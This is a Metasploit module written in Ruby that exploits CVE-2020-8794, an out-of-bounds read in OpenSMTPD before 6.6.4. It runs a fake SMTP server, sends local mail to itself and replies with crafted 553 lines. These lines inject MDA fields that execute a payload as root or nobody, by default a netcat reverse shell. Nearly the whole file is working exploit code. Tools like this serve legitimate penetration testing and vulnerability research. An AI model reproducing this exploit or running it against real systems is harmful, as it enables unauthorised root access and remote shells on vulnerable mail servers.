##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

  # smtpd(8) may crash on a malformed message
  Rank = AverageRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Expect

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',
        'Description' => %q{
          This module exploits an out-of-bounds read of an attacker-controlled
          string in OpenSMTPD's MTA implementation to execute a command as the
          root or nobody user, depending on the kind of grammar OpenSMTPD uses.
        },
        'Author' => [
          'Qualys', # Discovery and PoC
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-8794'],
          ['URL', 'https://seclists.org/oss-sec/2020/q1/96']
        ],
        'DisclosureDate' => '2020-02-24',
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => true, # NOTE: Only when exploiting new grammar
        # Patched in 6.6.4: https://www.opensmtpd.org/security.html
        # New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
        'Targets' => [
          [
            'OpenSMTPD < 6.6.4 (automatic grammar selection)',
            {
              patched_version: Rex::Version.new('6.6.4'),
              new_grammar_version: Rex::Version.new('6.4.0')
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SRVPORT' => 25,
          'PAYLOAD' => 'cmd/unix/reverse_netcat',
          'WfsDelay' => 60 # May take a little while for mail to process
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_advanced_options([
      OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
    ])

    # HACK: We need to run check in order to determine a grammar to use
    options.remove_option('AutoCheck')
  end

  def srvhost_addr
    Rex::Socket.source_address(session.session_host)
  end

  def rcpt_to
    "#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
  end

  def check
    smtpd_help = cmd_exec('smtpd -h')

    if smtpd_help.empty?
      return CheckCode::Unknown('smtpd(8) help could not be displayed.')
    end

    version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first

    unless version
      return CheckCode::Unknown('OpenSMTPD version could not be found.')
    end

    version = Rex::Version.new(version)

    if version < target[:patched_version]
      if version >= target[:new_grammar_version]
        vprint_status("OpenSMTPD #{version} is using new grammar")
        @grammar = :new
      else
        vprint_status("OpenSMTPD #{version} is using old grammar")
        @grammar = :old
      end

      return CheckCode::Appears(
        "OpenSMTPD #{version} appears vulnerable to CVE-2020-8794."
      )
    end

    CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794.")
  end

  def exploit
    start_service

    sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"

    print_status("Executing local sendmail(8) command: #{sendmail}")
    if cmd_exec(sendmail) != 'true'
      fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
    end
  end

  def on_client_connect(client)
    print_status("Client #{client.peerhost}:#{client.peerport} connected")

    # Brilliant work, Qualys!
    case @grammar
    when :new
      print_status('Exploiting new OpenSMTPD grammar for a root shell')

      yeet = <<~EOF
        553-
        553

        dispatcher: local_mail
        type: mda
        mda-user: root
        mda-exec: #{payload.encoded}; exit 0\x00
      EOF
    when :old
      print_status('Exploiting old OpenSMTPD grammar for a nobody shell')

      yeet = <<~EOF
        553-
        553

        type: mda
        mda-method: mda
        mda-usertable: <getpwnam>
        mda-user: nobody
        mda-buffer: #{payload.encoded}; exit 0\x00
      EOF
    else
      fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
    end

    sploit = {
      '220' => /EHLO /,
      '250' => /MAIL FROM:<[^>]/,
      yeet => nil
    }

    print_status('Faking SMTP server and sending exploit')
    sploit.each do |line, pattern|
      send_expect(
        line,
        pattern,
        sock: client,
        newline: "\r\n",
        timeout: datastore['ExpectTimeout']
      )
    end
  rescue Timeout::Error => e
    fail_with(Failure::TimeoutExpired, e.message)
  ensure
    print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
    client.close
  end

  def on_client_close(client)
    print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
  end

end
